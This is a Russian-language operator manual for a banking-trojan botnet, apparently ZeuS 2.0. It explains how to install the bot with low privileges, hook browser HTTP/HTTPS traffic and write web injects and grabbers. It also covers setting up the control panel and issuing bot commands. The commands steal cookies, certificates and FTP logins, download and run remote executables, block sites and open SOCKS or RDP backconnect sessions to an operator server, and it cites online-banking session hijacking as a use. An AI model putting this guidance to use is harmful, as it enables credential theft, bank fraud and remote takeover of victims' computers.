Язык и IDE программирования:
Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).
Поддерживаемые ОС:
XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях "Terminal Servers".
Принцип действия:
Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).
Процесс установки:
В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя "Гость"), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При запуске бота из под пользователя "LocalSystem" произойдет попытка заражение всех пользователей в системе.
При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.
Сессия с сервером (панелью управления):
Сессия с сервером осуществляется через различные процессы из внутреннего "белого списка", что позволяет обойти большинство фаерволов. Во время сессии бот может получить конфигурацию, отправить накопившиеся отчеты, сообщить о своем состоянии серверу, и получить команды для исполнения на компьютере. Сессия происходит через HTTP-протокол, все данные отсылаемые ботом и получаемые от сервера шифруются уникальным ключом для каждого ботнета.
Защита:
Функции серверной части бота:
Перехват HTTP/HTTPS-запросов библиотек wininet.dll (Internet Explorer, Maxton, и т.д.), nspr4.dll (Mozilla Firefox):
Получение важных данных из программ пользователя:
Сниффер трафика для протокола TCP в Windows Socket.
Прочее:
Язык программирования:
PHP, с использованием расширений mbstring, mysql.
Отображаемая статистика:
Работа со списком ботов:
Скрипты (команды):
Вы можете управляет ботами путем составления для них скриптов. В настоящее время синтаксис, и возможности скриптов очень примитивны.
Работа с отчетами (логами) и файлами ботов:
Файлы (например скриншоты, кукисы Flash Player) полученные от ботов всегда пишутся в файлы на сервере, Вы получаете возможности искать файлы с фильтром: по имени ботов, ботнету, содержимому и имени файла.
Отчеты могут писаться как в файлы (%botnet%/%bot_id%/reports.txt), так и в базу данных. В первом случаи поиск по отчетам осуществляется точно также, как и по файлам. Во втором же случаи, Вы получаете возможность более гибкой фильтрации, и просмотра отчетов из Панели управления.
Получение уведомлений в IM (Jabber):
Вы можете получать уведомления из Панели управления в Jabber-аккаунт.
В данный момент существует возможность получения уведомлений о заходе пользователя на определенные HTTP/HTTPS-ресурсы. Например, это используется для перехвата сессии пользователя в онлайн-банке.
Прочее:
Для удобства написания, HTTP-инжекты/HTTP-грабберы записываются в отдельный файл, указанный в файле конфигурации как "DynamicConfig.file_webinjects". Естественно, после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.
Файл представляет из себя список URL'ов, для которых можно указать неограниченное количество либо вносимых в них изменений, либо получаемых из них данных. Текущий URL указывается следующей строкой:
set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]
Параметры:
url | URL, на котором должен запускаться HTTP-инжект/HTTP-граббер. Допускается использование масок (символы * и #). |
options |
Определяет основные правила и условия для запсука, состоит из комбинации следующих символов:
|
postdata_blacklist | Полное (от начала до конца) содержимое POST-данных, при котором не должен происходить запуск. Допускается использование масок (символы * и ?).Параметр является необязательным. |
postdata_whitelist | Полное (от начала до конца) содержимое POST-данных, при котором должен происходить запуск. Допускается использование масок (символы * и ?).Параметр является необязательным. |
url_block |
При отсутствии символа "D" в параметре options:
Если запуск должен происходить только один раз, то здесь следует указать URL, в случаи обращения к которому, дальнеший запуск будет заблокирован. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Если после блокировки, понадобится повторный запуск, то блокировку можно снять через команду "bot_httpinject_enable" с параметром, например, равному параметру url. При наличии символа "D" в параметре options:Необходимо указать URL, при обращении к которому, запуск будет заблокирован на 24-е часа. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Эту блокировку нельзя снять через через команду "bot_httpinject_enable". Параметр является необязательным при отсутствии символа "D" в параметре options. |
matched_context | Подсодержимое (подстрока) содеримого URL, при котором должен происходить запуск. Допускается использование масок (символы * и ?).Параметр является необязательным. |
Со следующей строки начинается список изменений вносимых, в содержимое URL, а при наличии символа "L" в параметре options - список данных, получаемых из содержимое URL. Это список длится до тех пор, пока не достигнут конец файла, или не задан новый URL.
Единица списка состоит из трех элементов в произвольном порядке:
data_before |
При отсутвие символа "L" в параметре options:
Подсодержиоме в соедржимом URL, после окончания которого нужно внести новые данные. При наличии символа "L" в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно начать получить данные для отчета. Допускается использование масок (символы * и ?). |
data_after |
При отсутвие символа "L" в параметре options:
Подсодержиоме в соедржимом URL, передкоторым нужно закончить новые данные. При наличии символа "L" в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета. Допускается использование масок (символы * и ?). |
data_inject |
При отсутвие символа "L" в параметре options:
Новые данные, который будут внесены между данными найденысмм по data_before и data_after. При наличии символа "L" в параметре options:Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета. |
Примеры:
user_homepage_set http://www.google.com/ | Принудительная установка домашней страницы "http://www.google.com/". |
user_homepage_set | Принудительная установка домашней страницы будет отключена. |
Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов, и отдачей команд ботам. Крайне не рекомендуется использовать "Виртуальный Хостинг" или "VDS", т.к. при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно быстро исчерпает свои ресурсы. Вам нужен "Выделенный сервер" (Дедик), рекомендуемая минимальная конфигурация:
Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер.
ВНИМАНИЕ: Для Windows-серверов очень важно изменить (создать) следующее значение реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534 (десятичное).
HTTP-сервер:
В качестве HTTP-сервера рекомендуется использовать: для nix-систем - Apache от версии 2.2, для Windows-серверов - IIS от версии 6.0. Рекомендуется держать HTTP-сервер на 80 или 443 портах (это положительно влияет на отстук бота, поскольку провайдеры/прокси могут блокировать доступ на иные, нестандартные порты).
Загрузить Apache: http://apache.org/dyn/closer.cgi.
Сайт IIS: http://www.iis.net/.
Интерпретатор PHP:
Последняя версия панели управления разрабатывалась на PHP 5.2.6. Поэтому крайне рекомендуется использовать версию, не ниже этой версии.
Важно произвести следующие настройки в php.ini:
а также рекомендуется изменить следующие настройки:
Также понадобиться подключить Zend Optimizer (ускорение работы скриптов, и запуск защищенных скриптов). Рекомендуется версия от 3.3.
Не рекомендуется подключать PHP к HTTP-серверу через CGI.
Загрузить PHP: http://www.php.net/downloads.php.
Загрузить Zend Optimizer: http://www.zend.com/en/products/guard/downloads.
MySQL-сервер:
MySQL требуется для хранения всех данных об ботнете. Рекомендуемая версия не ниже 5.1.30, так же стоит учесть, что при работе панели управления в более старых версиях были обнаружены некоторые проблемы. Все таблицы панели управления идут в формате MyISAM, важно правильно оптимизировать быстродействие работы с этим форматом, исходя из доступных ресурсов сервера.
Рекомендуется внести следующие изменения в настройки MySQL-сервера (my или my.ini):
Загрузить MySQL: http://dev.mysql.com/downloads/.
Назначение файлов и папок:
/install | инсталлятор |
/system | системные файлы |
/system/fsarc.php | скрипт для вызова внешнего архиватора |
/system/config.php | файл конфигурации |
/theme | файлы темы (дизайн), без зенда, могут свободно изменяться |
cp.php | вход в панель управления |
gate.php | гэйт для ботов |
index.php | пустой файл для предотвращения листинга файлов |
Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если Вы загружаете ее через FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.
Для nix-систем выставите права:
/. | 777 |
/system | 777 |
/tmp | 777 |
Для Windows-систем выставите права:
\system | права на полные права на запись, чтение для пользователя из под которого происходит доступ через HTTP. Для IIS это обычно IUSR_* |
\tmp | также как и для \system |
После того как все файлы загружены и для них выставлены права, необходимо через браузер запустить инсталлятор по URL http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения ошибок (Вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, и правильность установки прав на папки.
После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять нельзя).
Теперь Вы можете благополучно входить в панель управления, введя в браузере URL переименованного файла cp.php.
Если Вы обладаете более новой копией панели управления, и желаете обновить старую версию, то необходимо сделать следующие:
Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор используется только в модуле "Отчеты::Поиск в файлах" (reports_files), и вызывается для загрузки файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с любым архиватором.
Загрузить Zip: http://www.info-zip.org/Zip.html.
os_shutdown
Выключение компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
os_reboot
Перезагрузка компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
bot_uninstall
Полное удаление бота из текщего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
bot_update [url]
Обновления файла конфигурации бота.
Параметры:
url |
URL, с которого необходимо загрузить файл конфигурации. В случаи успешной загрузки конфигурации, из нее будет принудительно загружен и запущен файл (с параметром "-f"), указный в "DynamicConfig.url_loader". Если же, это параметр не указан или является пустым, то произойдет загрузка файла конфигурации в обычном режиме (т.е. как будь-то пришло время по "StaticConfig.timer_config"), со всеми вытекающими последствиями. |
Примеры:
bot_update http://domain/update.bin | Загрузка файла конфигурации "http://domain/update.bin". |
bot_bc_add [service] [backconnect_server] [backconnect_server_port]
Добавление постоянной (сессия будет восстановлена даже после перезагрузки компьютера) бэкконект-сессии. Данная команда доступна не во всех сборках ПО.
Параметры:
service | Номер порта или текстовое имя сервиса, для которого создается сессия. |
backconnect_server | Хост, на котором запущен бэкконект-сервер. |
backconnect_server_port | Номер порта на хосте [backconnect_server]. |
Примеры:
bot_bc_add socks 192.168.100.1 4500 | Вы получаете доступ к Socks-серверу. |
bot_bc_add 3389 192.168.100.1 4500 | Вы получаете доступ к RDP. |
bot_bc_remove [service] [backconnect_server] [backconnect_server_port]
Завершение постоянных бэкконект-сессий. Данная команда доступна не во всех сборках ПО.
Параметры:
service | Номер порта или текстовое имя сервиса, для которого удаляется сессия. Допускается использование масок (символы * и ?), для удаления группы сессий. |
backconnect_server | Хост, на котором запущен бэкконект-сервер. Допускается использование масок (символы * и ?), для удаления группы сессий. |
backconnect_server_port | Номер порта на хосте [backconnect_server]. Допускается использование масок (символы * и ?), для удаления группы сессий. |
Примеры:
bot_bc_remove socks * * | Удаляются все сессий связанные с сервисом socks. |
bot_bc_remove * * * | Удаляются все существующие сессий. |
bot_httpinject_disable [url_1] [url_2] ... [url_X]
Блокировка исполнения HTTP-инжектов на определенных URL для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.
Параметры:
url_1, ulr_2, ... | URL'ы, на которых необходимо заблокировать исполнение HTTP-инжектов. Допускается использование масок (символы * и #). |
Примеры:
bot_httpinject_disable http://www.google.com/* | Блокировка исполнения HTTP-инжектов для http://www.google.com/. |
bot_httpinject_disable * | Блокировка исполнения HTTP-инжектов для любого URL. |
bot_httpinject_disable *.html *.gif | Блокировка исполнения HTTP-инжектов для файлов с расширением html и gif. |
bot_httpinject_enable [url_1] [url_2] ... [url_X]
Снятие блокировки исполнения HTTP-инжектов на определенных URL для текущего пользователя.
Параметры:
url_1, ulr_2, ... | Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL. |
Примеры:
bot_httpinject_enable *.google.* | Удалить блокировку исполнения HTTP-инжектов по любому URL из списка заблокированных, которые содержат в себе ".google.". |
bot_httpinject_enable * | Полностью очистит список блокировок исполнения HTTP-инжектов. |
bot_httpinject_enable *.html https://* | Удалить блокировку исполнения HTTP-инжектов со всех html-файлов, и на все HTTPS-ресурсы. |
user_logoff
Завершение сеанса (logoff) текущего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.
user_execute [path] [parameters]
Запуск процесса от имени текущего пользователя. Запуск процесса происходит через ShellExecuteW(,NULL,,,,), если запуск не удался, то процесс создается через CreateProcessW.
Параметры:
path |
Локальный путь или URL. Может быть указан как исполняемый файл (exe), так и любой другой (doc, txt, bmp, и т.д.). Для успешного запуска не исполняемого файла (не exe), с ним должна быть ассоциирована какая-либо программа. Если параметр является локальным путем, то происходит обычное создание процесса. Разрешается использовать "переменные окружения". Если параметр является URL, то происходит загрузка этого URL в файл "%TEMP%\random_name\file_name", где random_name - произвольное имя папки, а file_name - имя ресурса из последней части URL-пути(если URL-путь кончается на слэш, то произодйет ошибка). В настоящее время разрешается использовать только HTTP и HTTPS протоколы, также рекомендуется указывать URL-путь в URL-кодировке (актуально для не английских символов, подробности в RFC 1630 и 1738). |
parameters | Произвольные параметры передаваемые процессу (не обрабатываются ботом). Являются не обязательными. |
Примеры:
user_execute http://www.google.com/dave/superdocumet.doc | Загрузка файла в "%TEMP%\random_name\superdocumet.doc", и его запуск, например через MS Word. |
user_execute http://www.google.com/dave/killer.exe /KILLALL /RESTART | Загрузка файла в "%TEMP%\random_name\killer.exe", и его запуск с параметрами "/KILALL /RESTART". |
user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" | Запуск медиа-плеера. |
user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" "analporno.wmv" | Запуск медиа-плеера с параметром "analporno.wmv". |
user_cookies_get
Получение кукисов всех известных браузеров.
user_cookies_remove
Удаление всех кукисов из всех известных браузеров.
user_certs_get
Получение всех экспортируемых сертификатов из хранилища сертификатов "MY" текущего пользователя. Сертификаты будут загружены на сервер в виде pfx-файла с паролем "pass".
user_certs_remove
Очистка хранилища сертификатов "MY" текущего пользователя.
user_url_block [url_1] [url_2] ... [url_X]
Блокировка доступа к URL в известных библиотеках (браузеров) для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.
При попытке доступа к заблокированным URL, бот устанавливает следующие коды ошибок:
Параметры:
url_1, ulr_2, ... | URL'ы, к котором необходимо заблокировать доступ. Допускается использование масок (символы * и #). |
Примеры:
user_url_block http://www.google.com/* | Блокировка доступа к любому URL на http://www.google.com/. |
user_url_block * | Полная блокировка доступа к любому ресурсу. |
user_url_block http://*.ru/*.html https://*.ru/* | Блокировка доступа к любому html-файлу в зоне ru, и блокировка доступа к HTTPS-ресурсам в зоне ru. |
user_url_unblock [url_1] [url_2] ... [url_X]
Снятие блокировки доступа к URL в известных библиотеках (браузеров) для текущего пользователя.
Параметры:
url_1, ulr_2, ... | Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL. |
Примеры:
user_url_unblock *.google.* | Удалить блокировку по любому URL из списка заблокированных, которые содержат в себе ".google.". |
user_url_unblock * | Полностью очистит список блокировок URL. |
user_url_unblock *.html https://* | Удалить блокировку со всех html-файлов, и блокировку на все HTTPS-ресурсы. |
user_homepage_set [url]
Принудительное изменение домашней страницы для всех известных браузеров текущего пользователя. Даже если пользователь попытается изменить страницу, она будет автоматически восстановлена на страницу, указанную этой командой.
Параметры:
url |
URL, которая будет установлена в качестве домашней страницы. Если же, это параметр не указан или является пустым, то произойдет отключение принудительной установки домашней страницы, но при этом, не произойдет восстановление оригинальной страницы, указанной пользователем. Т.е. бот более не будет препятствовать изменению домашней страницы. |
Примеры:
user_homepage_set http://www.google.com/ | Принудительная установка домашней страницы "http://www.google.com/". |
user_homepage_set | Принудительная установка домашней страницы будет отключена. |
user_ftpclients_get
Получение списка всех FTP-логинов из всех известных FTP-клиентов. Данная команда доступна не во всех сборках ПО.
user_flashplayer_get
Создание архива "flashplayer.cab" из кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя, и его отправка на сервер.
user_flashplayer_remove
Удаление всех кукисов (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player) текущего пользователя.
Работа с BackConnect рассматривается в виде примера.
Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP-адрес в интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500, где 1080 - клиентский порт, 4500 - порт для бота.
Необходимому боту отправляется команда "bot_bc_add socks 192.168.100.1 4500".
Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком подключения бота, будет вывод в консоль сервера строки "Accepted new conection from bot...".
После подключения бота, Вы можете работать со своим клиентским приложением. Т.е. Вы просто подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если Вы отдали команду socks, то на клиентском порту вас будет ожидать Socks-сервер.
После того, когда вам не нужен Backconnect от бота для определенного сервиса, необходимо отдать команду "bot_bc_remove socks 192.168.100.1 4500".
ПРИМЕЧАНИЯ:
Что значат цифры в версии?
Формат версии a.b.c.d, где:
Каким образом генерируется Bot ID?
Bot ID состоит из двух частей: %name%_%number%, где name - имя компьютера (результат от GetComputerNameW), а number - некое число, генерируемое на основе некоторых уникальных данных ОС.
Почему трафик шифруется симметричным методом шифрования (RC4), а не асимметричным (RSA)?
Потому что, в использовании сложных алгоритмов нет смысла, шифрование нужно только для скрытия трафика. Плюс в RSA только в том, что не зная ключа находящегося в Панели управления, не будет возможности эмулировать ее ответы. А какой смысл защищаться от этого?
Версия 2.0.0.0, 01.04.2010
Версия 2.0.1.0, 28.04.2010
Теперь используется сторонний криптор, с связи с этим отменены некоторые особенности предыдущей версии:Версия 2.0.2.0, 10.05.2010
Версия 2.0.3.0, 19.05.2010
Версия 2.0.4.0, 31.05.2010
Версия 2.0.5.0, 08.06.2010
Версия 2.0.6.0, 22.06.2010
Версия 2.0.7.0, 15.07.2010
Версия 2.0.8.0, 17.08.2010